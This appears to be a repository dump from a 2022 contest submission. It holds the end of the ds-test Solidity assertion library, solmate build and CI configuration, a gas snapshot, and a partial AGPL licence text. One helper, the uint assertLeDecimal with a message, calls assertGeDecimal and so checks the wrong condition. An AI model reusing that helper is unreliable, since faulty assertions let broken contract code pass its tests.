emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.dapprc
================================================
# Basic build/test configuration.
export DAPP_SOLC_VERSION=0.8.10
export DAPP_BUILD_OPTIMIZE=1
export DAPP_BUILD_OPTIMIZE_RUNS=1000000
export DAPP_LINK_TEST_LIBRARIES=0
export DAPP_TEST_VERBOSITY=1
export DAPP_TEST_SMTTIMEOUT=500000
if [ "$DEEP_FUZZ" = "true" ]
then
export DAPP_TEST_FUZZ_RUNS=10000 # Fuzz for a long time if DEEP_FUZZ is set to true.
else
export DAPP_TEST_FUZZ_RUNS=100 # Only fuzz briefly if DEEP_FUZZ is not set to true.
fi
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gas-snapshot
================================================
testFailSetAuthorityWithRestrictiveAuthority() (gas: 126002)
testSetAuthorityWithPermissiveAuthority() (gas: 127687)
testFailSetOwnerWithRestrictiveAuthority() (gas: 126166)
testFailCallFunctionAsNonOwner() (gas: 4191)
testSetAuthorityAsOwner() (gas: 23802)
testFailCallFunctionAsOwnerWithOutOfOrderAuthority() (gas: 135733)
testCallFunctionWithPermissiveAuthority() (gas: 125973)
testFailSetAuthorityAsNonOwner() (gas: 6960)
testFailSetOwnerAsOwnerWithOutOfOrderAuthority() (gas: 135873)
testCallFunctionAsOwner() (gas: 21371)
testFailCallFunctionWithRestrictiveAuthority() (gas: 126125)
testSetOwnerWithPermissiveAuthority() (gas: 147508)
testFailSetOwnerAsNonOwner() (gas: 4309)
testSetAuthorityAsOwnerWithOutOfOrderAuthority() (gas: 234329)
testSetOwnerAsOwner() (gas: 3998)
testFromLast20Bytes() (gas: 191)
testFillLast12Bytes() (gas: 223)
testFailDoubleDeploySameBytecode() (gas: 277076930206699)
testDeployERC20() (gas: 863534)
testFailDoubleDeployDifferentBytecode() (gas: 277076930214685)
testFailBoundMinBiggerThanMax() (gas: 309)
testBound() (gas: 5520)
testFailSafeBatchTransferFromToRevertingERC1155Recipient() (gas: 1041163)
testMintToEOA() (gas: 30265)
testFailMintToNonERC155Recipient() (gas: 71897)
testFailSafeBatchTransferFromToZero() (gas: 805864)
testBatchMintToERC1155Recipient() (gas: 946375)
testApproveAll() (gas: 26509)
testFailSafeBatchTransferFromWithArrayLengthMismatch() (gas: 681042)
testFailBatchMintToZero() (gas: 127242)
testFailSafeBatchTransferFromToWrongReturnDataERC1155Recipient() (gas: 993087)
testSafeTransferFromToERC1155Recipient() (gas: 1210543)
testFailBatchMintToWrongReturnDataERC1155Recipient() (gas: 314473)
testFailBatchMintToRevertingERC1155Recipient() (gas: 362536)
testBatchBurn() (gas: 146591)
testFailBurnInsufficientBalance() (gas: 30352)
testFailSafeTransferFromToWrongReturnDataERC1155Recipient() (gas: 243471)
testFailMintToRevertingERC155Recipient() (gas: 263148)
testFailSafeBatchTransferFromToNonERC1155Recipient() (gas: 849621)
testFailSafeTransferFromInsufficientBalance() (gas: 579173)
testFailSafeTransferFromToNonERC155Recipient() (gas: 100376)
testFailBatchMintToNonERC1155Recipient() (gas: 171010)
testSafeBatchTransferFromToEOA() (gas: 817122)
testFailSafeTransferFromToRevertingERC1155Recipient() (gas: 291604)
testBatchMintToEOA() (gas: 132842)
testFailBatchBurnInsufficientBalance() (gas: 131673)
testSafeBatchTransferFromToERC1155Recipient() (gas: 1650504)
testFailBalanceOfBatchWithArrayMismatch() (gas: 4798)
testFailSafeBatchTransferInsufficientBalance() (gas: 682003)
testSafeTransferFromToEOA() (gas: 609087)
testMintToERC1155Recipient() (gas: 612041)
testFailBatchMintWithArrayMismatch() (gas: 5118)
testBatchBalanceOf() (gas: 153798)
testFailSafeTransferFromToZero() (gas: 57667)
testFailSafeTransferFromSelfInsufficientBalance() (gas: 29956)
testBurn() (gas: 34098)
testFailBatchBurnWithArrayLengthMismatch() (gas: 131065)
testFailMintToZero() (gas: 29205)
testSafeTransferFromSelf() (gas: 59828)
testFailMintToWrongReturnDataERC155Recipient() (gas: 263102)
testInfiniteApproveTransferFrom() (gas: 387818)
testApprove() (gas: 26558)
testMetaData() (gas: 6988)
testTransferFrom() (gas: 388134)
testFailTransferFromInsufficientBalance() (gas: 359467)
testFailPermitPastDeadline() (gas: 1467)
testFailPermitReplay() (gas: 59219)
testMint() (gas: 49224)
testFailTransferFromInsufficientAllowance() (gas: 358991)
testTransfer() (gas: 75650)
testBurn() (gas: 52536)
testPermit() (gas: 56030)
testFailTransferInsufficientBalance() (gas: 48306)
testFailPermitBadDeadline() (gas: 29756)
testFailPermitBadNonce() (gas: 29706)
testFailRedeemWithNoShareAmount() (gas: 28088)
testFailRedeemWithNotEnoughShareAmount() (gas: 192969)
testFailWithdrawWithNoUnderlyingAmount() (gas: 25814)
testFailMintWithNoApproval() (gas: 6241)
testMetaData() (gas: 7057)
testFailDepositWithNotEnoughApproval() (gas: 77891)
testFailRedeemZero() (gas: 5689)
testFailWithdrawWithNotEnoughUnderlyingAmount() (gas: 190704)
testFailDepositZero() (gas: 3255)
testMultipleMintDepositRedeemWithdraw() (gas: 1328123)
testWithdrawZero() (gas: 42552)
testFailDepositWithNoApproval() (gas: 6233)
testMintZero() (gas: 45081)
testSafeTransferFromToERC721Recipient() (gas: 885885)
testFailSafeMintToERC721RecipientWithWrongReturnDataWithData() (gas: 163605)
testApprove() (gas: 73904)
testFailBurnUnMinted() (gas: 3379)
testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData() (gas: 191740)
testFailDoubleMint() (gas: 48808)
testApproveAll() (gas: 26585)
testFailApproveUnAuthorized() (gas: 51054)
testFailSafeTransferFromToRevertingERC721RecipientWithData() (gas: 237473)
testFailSafeMintToNonERC721RecipientWithData() (gas: 93718)
testMetadata() (gas: 6470)
testFailTransferFromWrongFrom() (gas: 48838)
testFailSafeMintToRevertingERC721Recipient() (gas: 208477)
testTransferFrom() (gas: 528373)
testFailSafeMintToNonERC721Recipient() (gas: 92893)
testFailDoubleBurn() (gas: 54465)
testFailSafeMintToERC721RecipientWithWrongReturnData() (gas: 162744)
testFailSafeTransferFromToNonERC721Recipient() (gas: 121141)
testMint() (gas: 49778)
testFailApproveUnMinted() (gas: 5672)
testFailTransferFromToZero() (gas: 48903)
testSafeMintToERC721Recipient() (gas: 385391)
testSafeTransferFromToEOA() (gas: 533231)
testSafeMintToEOA() (gas: 52413)
testApproveBurn() (gas: 79785)
testFailSafeTransferFromToERC721RecipientWithWrongReturnData() (gas: 190988)
testTransferFromApproveAll() (gas: 530463)
testFailTransferFromUnOwned() (gas: 3500)
testFailSafeTransferFromToNonERC721RecipientWithData() (gas: 121921)
testBurn() (gas: 55481)
testFailSafeMintToRevertingERC721RecipientWithData() (gas: 209269)
testFailMintToZero() (gas: 1253)
testFailTransferFromNotOwner() (gas: 53372)
testSafeMintToERC721RecipientWithData() (gas: 406553)
testFailSafeTransferFromToRevertingERC721Recipient() (gas: 236721)
testSafeTransferFromToERC721RecipientWithData() (gas: 907047)
testTransferFromSelf() (gas: 80050)
testMulWadDown() (gas: 821)
testDivWadDownEdgeCases() (gas: 423)
testFailDivWadUpZeroDenominator() (gas: 342)
testDivWadUp() (gas: 981)
testMulWadDownEdgeCases() (gas: 886)
testFailMulDivUpZeroDenominator() (gas: 317)
testMulDivUpEdgeCases() (gas: 846)
testDivWadUpEdgeCases() (gas: 482)
testFailDivWadDownZeroDenominator() (gas: 362)
testRPow() (gas: 2142)
testMulDivDownEdgeCases() (gas: 751)
testSqrt() (gas: 2537)
testDivWadDown() (gas: 864)
testMulDivDown() (gas: 1861)
testMulWadUpEdgeCases() (gas: 1002)
testMulWadUp() (gas: 959)
testFailMulDivDownZeroDenominator() (gas: 316)
testMulDivUp() (gas: 2273)
testSetRoles() (gas: 33023)
testCanCallWithCustomAuthorityOverridesPublicCapability() (gas: 295417)
testCanCallPublicCapability() (gas: 39631)
testSetTargetCustomAuthority() (gas: 31736)
testCanCallWithCustomAuthorityOverridesUserWithRole() (gas: 334265)
testCanCallWithAuthorizedRole() (gas: 97461)
testSetRoleCapabilities() (gas: 32997)
testCanCallWithCustomAuthority() (gas: 466959)
testSetPublicCapabilities() (gas: 31468)
testNoReentrancy() (gas: 1015)
testProtectedCall() (gas: 23649)
testFailUnprotectedCall() (gas: 30515)
testSetRoles() (gas: 32998)
testCanCallPublicCapability() (gas: 38436)
testCanCallWithAuthorizedRole() (gas: 96267)
testSetRoleCapabilities() (gas: 34588)
testSetPublicCapabilities() (gas: 33244)
testWriteRead() (gas: 53511)
testWriteReadFullStartBound() (gas: 34725)
testFailWriteReadEmptyOutOfBounds() (gas: 34432)
testWriteReadFullBoundedRead() (gas: 53708)
testFailReadInvalidPointer() (gas: 2905)
testFailWriteReadOutOfStartBound() (gas: 34346)
testFailReadInvalidPointerCustomStartBound() (gas: 2982)
testWriteReadEmptyBound() (gas: 34639)
testFailWriteReadOutOfBounds() (gas: 34453)
testWriteReadCustomBounds() (gas: 34853)
testWriteReadCustomStartBound() (gas: 34768)
testFailReadInvalidPointerCustomBounds() (gas: 3143)
testSafeCastTo248() (gas: 433)
testSafeCastTo128() (gas: 455)
testSafeCastTo32() (gas: 477)
testFailSafeCastTo96() (gas: 365)
testSafeCastTo96() (gas: 475)
testSafeCastTo224() (gas: 497)
testFailSafeCastTo8() (gas: 296)
testFailSafeCastTo64() (gas: 321)
testSafeCastTo64() (gas: 476)
testFailSafeCastTo248() (gas: 298)
testFailSafeCastTo224() (gas: 342)
testFailSafeCastTo128() (gas: 342)
testFailSafeCastTo32() (gas: 297)
testSafeCastTo8() (gas: 452)
testFailTransferWithReturnsFalse() (gas: 27234)
testApproveWithStandardERC20() (gas: 26417)
testFailTransferFromWithReturnsFalse() (gas: 30377)
testTransferFromWithTransferFromSelf() (gas: 59377)
testFailTransferWithPausable() (gas: 4160)
testApproveWithNonContract() (gas: 3076)
testFailApproveWithPausable() (gas: 1219)
testFailTransferFromWithPausable() (gas: 5312)
testApproveWithMissingReturn() (gas: 26335)
testTransferFromWithMissingReturn() (gas: 59267)
testTransferWithStandardERC20() (gas: 28201)
testTransferFromWithStandardERC20() (gas: 59309)
testTransferFromWithNonContract() (gas: 3104)
testTransferWithMissingReturn() (gas: 28128)
testFailApproveWithReturnsFalse() (gas: 25283)
testTransferETH() (gas: 34636)
testTransferWithNonContract() (gas: 3075)
testApproveWithTransferFromSelf() (gas: 26416)
testTransferWithTransferFromSelf() (gas: 28182)
testFailTransferETHToContractWithoutFallback() (gas: 7222)
testPartialWithdraw() (gas: 68781)
testDeposit() (gas: 58760)
testFallbackDeposit() (gas: 59024)
testWithdraw() (gas: 68715)
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitattributes
================================================
*.sol linguist-language=Solidity
.dapprc linguist-language=Shell
.gas-snapshot linguist-language=Julia
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.github/workflows/tests.yml
================================================
name: Tests
on: [push, pull_request]
jobs:
tests:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- uses: actions/setup-node@v2
- uses: cachix/install-nix-action@v13
- uses: cachix/cachix-action@v10
with:
name: dapp
- name: Install dependencies
run: nix-shell --run 'make'
- name: Check gas snapshots
run: nix-shell --run 'dapp check-snapshot'
- name: Run tests
run: nix-shell --run 'dapp test'
env:
# Only fuzz deeply if we're pushing to main or this is a PR to main:
DEEP_FUZZ: ${{ github.ref == 'refs/heads/main' || github.base_ref == 'main' }}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitignore
================================================
/cache
/node_modules
/out
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.gitmodules
================================================
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
[submodule "lib/weird-erc20"]
path = lib/weird-erc20
url = https://github.com/d-xo/weird-erc20
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.prettierrc
================================================
{
"tabWidth": 2,
"printWidth": 100,
"overrides": [
{
"files": "*.sol",
"options": {
"tabWidth": 4,
"printWidth": 120
}
}
]
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/.vscode/settings.json
================================================
{
"solidity.packageDefaultDependenciesContractsDirectory": "src",
"solidity.packageDefaultDependenciesDirectory": "lib",
"solidity.compileUsingRemoteVersion": "v0.8.10",
"search.exclude": { "lib": true },
"files.associations": {
".dapprc": "shellscript",
".gas-snapshot": "julia"
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/LICENSE
================================================
GNU AFFERO GENERAL PUBLIC LICENSE
Version 3, 19 November 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU Affero General Public License is a free, copyleft license for
software and other kinds of works, specifically designed to ensure
cooperation with the community in the case of network server software.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
our General Public Licenses are intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
Developers that use our General Public Licenses protect your rights
with two steps: (1) assert copyright on the software, and (2) offer
you this License which gives you legal permission to copy, distribute
and/or modify the software.
A secondary benefit of defending all users' freedom is that
improvements made in alternate versions of the program, if they
receive widespread use, become available for other developers to
incorporate. Many developers of free software are heartened and
encouraged by the resulting cooperation. However, in the case of
software used on network servers, this result may fail to come about.
The GNU General Public License permits making a modified version and
letting the public access it on a server without ever releasing its
source code to the public.
The GNU Affero General Public License is designed specifically to
ensure that, in such cases, the modified source code becomes available
to the community. It requires the operator of a network server to
provide the source code of the modified version running there to the
users of that server. Therefore, public use of a modified version, on
a publicly accessible server, gives the public access to the source
code of the modified version.
An older license, called the Affero General Public License and
published by Affero, was designed to accomplish similar goals. This is
a different license, not a version of the Affero GPL, but Affero has
released a new version of the Affero GPL which permits relicensing under
this license.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU Affero General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
